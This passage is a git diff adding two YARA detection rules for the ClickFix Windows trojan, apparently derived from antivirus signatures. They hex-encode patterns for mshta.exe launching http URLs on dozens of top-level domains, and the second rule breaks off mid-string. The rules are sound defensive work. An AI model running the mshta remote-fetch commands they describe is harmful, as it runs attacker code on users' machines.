b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SEZ.yar @@ -0,0 +1,86 @@ + +rule Trojan_Win32_ClickFix_SEZ{ + meta: + description = "Trojan:Win32/ClickFix.SEZ,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 4c 00 00 " + + strings : + $a_02_0 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 2f 00 } //10 + $a_02_1 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 65 00 74 00 2f 00 } //10 + $a_02_2 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 69 00 7a 00 2f 00 } //10 + $a_02_3 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 6c 00 6f 00 67 00 2f 00 } //10 + $a_02_4 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 6f 00 6e 00 64 00 2f 00 } //10 + $a_02_5 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 75 00 7a 00 7a 00 2f 00 } //10 + $a_02_6 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 61 00 6d 00 2f 00 } //10 + $a_02_7 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 64 00 61 00 2f 00 } //10 + $a_02_8 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 } //10 + $a_02_9 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6c 00 75 00 62 00 2f 00 } //10 + $a_02_10 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6f 00 75 00 6e 00 74 00 72 00 79 00 2f 00 } //10 + $a_02_11 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 75 00 6c 00 74 00 75 00 72 00 65 00 2f 00 } //10 + $a_02_12 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 79 00 6f 00 75 00 2f 00 } //10 + $a_02_13 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 79 00 6f 00 2f 00 } //10 + $a_02_14 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 61 00 74 00 2f 00 } //10 + $a_02_15 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 } //10 + $a_02_16 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 } //10 + $a_02_17 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 65 00 6d 00 70 00 6c 00 6f 00 79 00 65 00 72 00 64 00 62 00 7a 00 2f 00 } //10 + $a_02_18 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 65 00 70 00 73 00 2f 00 } //10 + $a_02_19 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 2f 00 } //10 + $a_02_20 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6c 00 76 00 2f 00 } //10 + $a_02_21 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 75 00 2f 00 } //10 + $a_02_22 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 75 00 6e 00 2f 00 } //10 + $a_02_23 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 67 00 64 00 6e 00 2f 00 } //10 + $a_02_24 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 61 00 69 00 72 00 2f 00 } //10 + $a_02_25 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 65 00 6c 00 70 00 2f 00 } //10 + $a_02_26 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 63 00 75 00 2f 00 } //10 + $a_02_27 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 6e 00 66 00 6f 00 2f 00 } //10 + $a_02_28 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 61 00 74 00 2f 00 } //10 + $a_02_29 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 66 00 65 00 2f 00 } //10 + $a_02_30 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 6e 00 6b 00 2f 00 } //10 + $a_02_31 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 6f 00 61 00 6e 00 2f 00 } //10 + $a_02_32 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 76 00 65 00 2f 00 } //10 + $a_02_33 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 66 00 64 00 2f 00 } //10 + $a_02_34 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 66 00 64 00 3f 00 } //10 + $a_02_35 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 34 00 61 00 2f 00 } //10 + $a_02_36 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 64 00 62 00 2f 00 } //10 + $a_02_37 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 65 00 2f 00 } //10 + $a_02_38 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 33 00 2f 00 } //10 + $a_02_39 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 34 00 2f 00 } //10 + $a_02_40 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 79 00 2f 00 } //10 + $a_02_41 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 } //10 + $a_02_42 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6f 00 72 00 67 00 2f 00 } //10 + $a_02_43 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 61 00 72 00 74 00 79 00 2f 00 } //10 + $a_02_44 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 72 00 6f 00 2f 00 } //10 + $a_02_45 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 77 00 2f 00 } //10 + $a_02_46 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 61 00 63 00 69 00 6e 00 67 00 2f 00 } //10 + $a_02_47 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 6e 00 2f 00 } //10 + $a_02_48 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 69 00 73 00 65 00 2f 00 } //10 + $a_02_49 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 76 00 69 00 65 00 77 00 2f 00 } //10 + $a_02_50 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 75 00 6e 00 2f 00 } //10 + $a_02_51 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 62 00 73 00 2f 00 } //10 + $a_02_52 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6f 00 2f 00 } //10 + $a_02_53 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 6f 00 6c 00 2f 00 } //10 + $a_02_54 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 72 00 65 00 73 00 73 00 2f 00 } //10 + $a_02_55 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 63 00 69 00 65 00 6e 00 63 00 65 00 2f 00 } //10 + $a_02_56 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 68 00 6f 00 70 00 2f 00 } //10 + $a_02_57 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 69 00 74 00 65 00 2f 00 } //10 + $a_02_58 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 70 00 61 00 63 00 65 00 2f 00 } //10 + $a_02_59 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 6f 00 72 00 65 00 2f 00 } //10 + $a_02_60 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 2f 00 } //10 + $a_02_61 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 75 00 64 00 79 00 2f 00 } //10 + $a_02_62 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 2f 00 } //10 + $a_02_63 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 2f 00 } //10 + $a_02_64 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 72 00 72 00 69 00 66 00 79 00 65 00 6e 00 79 00 62 00 2f 00 } //10 + $a_02_65 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //10 + $a_02_66 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 70 00 2f 00 } //10 + $a_02_67 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 76 00 69 00 70 00 2f 00 } //10 + $a_02_68 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6b 00 2f 00 } //10 + $a_02_69 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 } //10 + $a_02_70 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 6c 00 6c 00 2f 00 } //10 + $a_02_71 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 79 00 7a 00 2f 00 } //10 + $a_02_72 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 79 00 6f 00 6b 00 6f 00 68 00 61 00 6d 00 61 00 2f 00 } //10 + $a_02_73 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 71 00 75 00 65 00 73 00 74 00 2f 00 } //10 + $a_00_74 = {2e 00 70 00 73 00 31 00 } //-500 .ps1 + $a_00_75 = {2e 00 68 00 74 00 61 00 } //-500 .hta + condition: + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10+(#a_02_3 & 1)*10+(#a_02_4 & 1)*10+(#a_02_5 & 1)*10+(#a_02_6 & 1)*10+(#a_02_7 & 1)*10+(#a_02_8 & 1)*10+(#a_02_9 & 1)*10+(#a_02_10 & 1)*10+(#a_02_11 & 1)*10+(#a_02_12 & 1)*10+(#a_02_13 & 1)*10+(#a_02_14 & 1)*10+(#a_02_15 & 1)*10+(#a_02_16 & 1)*10+(#a_02_17 & 1)*10+(#a_02_18 & 1)*10+(#a_02_19 & 1)*10+(#a_02_20 & 1)*10+(#a_02_21 & 1)*10+(#a_02_22 & 1)*10+(#a_02_23 & 1)*10+(#a_02_24 & 1)*10+(#a_02_25 & 1)*10+(#a_02_26 & 1)*10+(#a_02_27 & 1)*10+(#a_02_28 & 1)*10+(#a_02_29 & 1)*10+(#a_02_30 & 1)*10+(#a_02_31 & 1)*10+(#a_02_32 & 1)*10+(#a_02_33 & 1)*10+(#a_02_34 & 1)*10+(#a_02_35 & 1)*10+(#a_02_36 & 1)*10+(#a_02_37 & 1)*10+(#a_02_38 & 1)*10+(#a_02_39 & 1)*10+(#a_02_40 & 1)*10+(#a_02_41 & 1)*10+(#a_02_42 & 1)*10+(#a_02_43 & 1)*10+(#a_02_44 & 1)*10+(#a_02_45 & 1)*10+(#a_02_46 & 1)*10+(#a_02_47 & 1)*10+(#a_02_48 & 1)*10+(#a_02_49 & 1)*10+(#a_02_50 & 1)*10+(#a_02_51 & 1)*10+(#a_02_52 & 1)*10+(#a_02_53 & 1)*10+(#a_02_54 & 1)*10+(#a_02_55 & 1)*10+(#a_02_56 & 1)*10+(#a_02_57 & 1)*10+(#a_02_58 & 1)*10+(#a_02_59 & 1)*10+(#a_02_60 & 1)*10+(#a_02_61 & 1)*10+(#a_02_62 & 1)*10+(#a_02_63 & 1)*10+(#a_02_64 & 1)*10+(#a_02_65 & 1)*10+(#a_02_66 & 1)*10+(#a_02_67 & 1)*10+(#a_02_68 & 1)*10+(#a_02_69 & 1)*10+(#a_02_70 & 1)*10+(#a_02_71 & 1)*10+(#a_02_72 & 1)*10+(#a_02_73 & 1)*10+(#a_00_74 & 1)*-500+(#a_00_75 & 1)*-500) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SEZA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SEZA.yar new file mode 100644 index 0000000000..963be63e54 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SEZA.yar @@ -0,0 +1,158 @@ + +rule Trojan_Win32_ClickFix_SEZA{ + meta: + description = "Trojan:Win32/ClickFix.SEZA,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 ffffff94 00 00 " + + strings : + $a_02_0 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 2f 00 } //10 + $a_02_1 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 65 00 74 00 2f 00 } //10 + $a_02_2 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 69 00 7a 00 2f 00 } //10 + $a_02_3 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 6c 00 6f 00 67 00 2f 00 } //10 + $a_02_4 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 6f 00 6e 00 64 00 2f 00 } //10 + $a_02_5 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 75 00 7a 00 7a 00 2f 00 } //10 + $a_02_6 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 61 00 6d 00 2f 00 } //10 + $a_02_7 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 64 00 61 00 2f 00 } //10 + $a_02_8 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 } //10 + $a_02_9 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6c 00 75 00 62 00 2f 00 } //10 + $a_02_10 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6f 00 75 00 6e 00 74 00 72 00 79 00 2f 00 } //10 + $a_02_11 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 75 00 6c 00 74 00 75 00 72 00 65 00 2f 00 } //10 + $a_02_12 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 79 00 6f 00 75 00 2f 00 } //10 + $a_02_13 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 79 00 6f 00 2f 00 } //10 + $a_02_14 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 61 00 74 00 2f 00 } //10 + $a_02_15 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 } //10 + $a_02_16 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 } //10 + $a_02_17 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 65 00 6d 00 70 00 6c 00 6f 00 79 00 65 00 72 00 64 00 62 00 7a 00 2f 00 } //10 + $a_02_18 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 65 00 70 00 73 00 2f 00 } //10 + $a_02_19 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 2f 00 } //10 + $a_02_20 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6c 00 76 00 2f 00 } //10 + $a_02_21 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 75 00 6e 00 2f 00 } //10 + $a_02_22 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 67 00 64 00 6e 00 2f 00 } //10 + $a_02_23 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 61 00 69 00 72 00 2f 00 } //10 + $a_02_24 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 65 00 6c 00 70 00 2f 00 } //10 + $a_02_25 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 63 00 75 00 2f 00 } //10 + $a_02_26 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 6e 00 66 00 6f 00 2f 00 } //10 + $a_02_27 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 61 00 74 00 2f 00 } //10 + $a_02_28 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 66 00 65 00 2f 00 } //10 + $a_02_29 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 6e 00 6b 00 2f 00 } //10 + $a_02_30 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 6f 00 61 00 6e 00 2f 00 } //10 + $a_02_31 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 76 00 65 00 2f 00 } //10 + $a_02_32 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 3a 00 35 00 30 00 30 00 30 00 2f 00 62 00 6f 00 6f 00 74 00 2f 00 } //10 + $a_02_33 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 66 00 64 00 2f 00 } //10 + $a_02_34 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 75 00 2f 00 } //10 + $a_02_35 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 34 00 61 00 2f 00 } //10 + $a_02_36 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 64 00 62 00 2f 00 } //10 + $a_02_37 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 65 00 2f 00 } //10 + $a_02_38 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 33 00 2f 00 } //10 + $a_02_39 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 34 00 2f 00 } //10 + $a_02_40 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 79 00 2f 00 } //10 + $a_02_41 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 } //10 + $a_02_42 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6f 00 72 00 67 00 2f 00 } //10 + $a_02_43 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 61 00 72 00 74 00 79 00 2f 00 } //10 + $a_02_44 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 72 00 6f 00 2f 00 } //10 + $a_02_45 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 77 00 2f 00 } //10 + $a_02_46 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 61 00 63 00 69 00 6e 00 67 00 2f 00 } //10 + $a_02_47 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 6e 00 2f 00 } //10 + $a_02_48 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 69 00 73 00 